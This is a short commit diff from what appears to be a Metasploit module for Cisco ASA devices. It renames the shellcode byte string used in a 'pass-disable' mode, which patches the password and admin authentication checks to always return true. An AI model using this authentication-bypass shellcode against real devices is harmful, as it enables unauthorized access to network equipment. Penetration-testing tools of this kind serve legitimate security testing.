added always_return_true variable

bug/bundler_fix
zerosum0x0 2016-09-22 19:44:55 +00:00
parent c18045128a
commit 4288c3fb46
1 changed files with 3 additions and 2 deletions

View File

@ -88,8 +88,9 @@ class MetasploitModule < Msf::Auxiliary
def build_shellcode(asa_vers, mode) def build_shellcode(asa_vers, mode)
if mode == 'pass-disable' if mode == 'pass-disable'
pmcheck_bytes = "49.192.64.195" # return true code always_return_true = "49.192.64.195"
admauth_bytes = "49.192.64.195" pmcheck_bytes = always_return_true
admauth_bytes = always_return_true
else else
pmcheck_bytes = @shellcode[asa_vers][5] pmcheck_bytes = @shellcode[asa_vers][5]
admauth_bytes = @shellcode[asa_vers][8] admauth_bytes = @shellcode[asa_vers][8]